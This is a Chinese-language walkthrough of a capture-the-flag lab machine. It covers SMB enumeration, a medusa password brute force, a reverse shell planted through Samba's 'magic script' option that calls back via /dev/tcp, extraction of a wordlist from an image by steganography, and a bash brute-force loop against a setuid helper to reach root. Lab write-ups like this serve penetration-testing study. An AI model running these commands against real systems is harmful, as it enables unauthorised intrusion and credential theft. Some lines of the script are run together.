一、信息收集
1.靶机ip确认
arp-scan -l

2.端口信息扫描
nmap -T4 -A -p- -sV 192.168.1.142
发现开启了80,139,445端口外还开启了smb服务

3.目录遍历
dirsearch -u http://192.168.1.142

访问robots.txt提示另一个文件
/crossroads.png

访问/crossroads.png发现是章图片,信息中断。
4.使用smb服务扫描器:enum4linux对靶机进行扫描
enum4linux 192.168.1.142 -A
扫出用户albert
5.使用medusa工具进行smb密码爆破
medusa -h 192.168.1.142 -u albert -P /usr/share/wordlists/rockyou.txt -M smbnt
得到密码bradley1

二、漏洞利用
1.登录smb服务
smbclient //192.168.1.142/smbshare/ -U albert%bradley1

也可以从文件夹登录,打开smbshare文件输入账号密码。


2.发现配置文件smb.conf

3.使用get命令将配置文件下载到kali查看


magic script选项为魔术脚本,这个选项如果被设置了具体文件名,则Samba将在用户打开和关闭文件后立即运行该文件
4.上传反弹shell脚本
bash -c 'bash -i >&/dev/tcp/192.168.1.188/8888 0>&1'
打开监听,上传脚本,实现连接。(先开监听再将脚本拖进去就好了)
nc -lvp 8888

拿到普通用户权限
![]()
三、提权
1.获取一个交互式shell使连接更稳定
python -c "import pty;pty.spawn('/bin/bash');"

2.回到上一个目录发现第一个flag

3.并且又发现了这个crossroads.png图片
将这个图片下载下来并且使用隐写工具stegoveritas将其内容提出
stegoveritas crossroads.png
提出的内容会在results文件夹下

在keepers目录下的第一个文件就是一个密码本。

4.将beroot文件下载下来,发现它自带提权功能。

只不过他要密码

5.结合之前的密码本写一个脚本进行密码爆破
将密码本考出成txt文件

写一个爆破脚本不用后缀

#!/bin/bash# 检查 pass.txt 文件是否存在
if [ ! -f "pass.txt" ]; thenecho "Error: pass.txt file not found."exit 1
fi# 使用 while 循环逐行读取 pass.txt 文件
while IFS= read -r pass; do# 使用 printf 传递密码给 ./beroot 程序printf "%s\n" "$pass" | ./beroot# 检查 ./beroot 程序的返回状态码if [ $? -ne 0 ]; thenecho "Error: Failed to execute ./beroot with password: $pass"fi
done < pass.txt
将脚本和密码本都上传到smb服务上,再移动到albert路径下

5.运行脚本
./pass
发现多了一个文件rootcreds

查看得到密码成为root

通关!

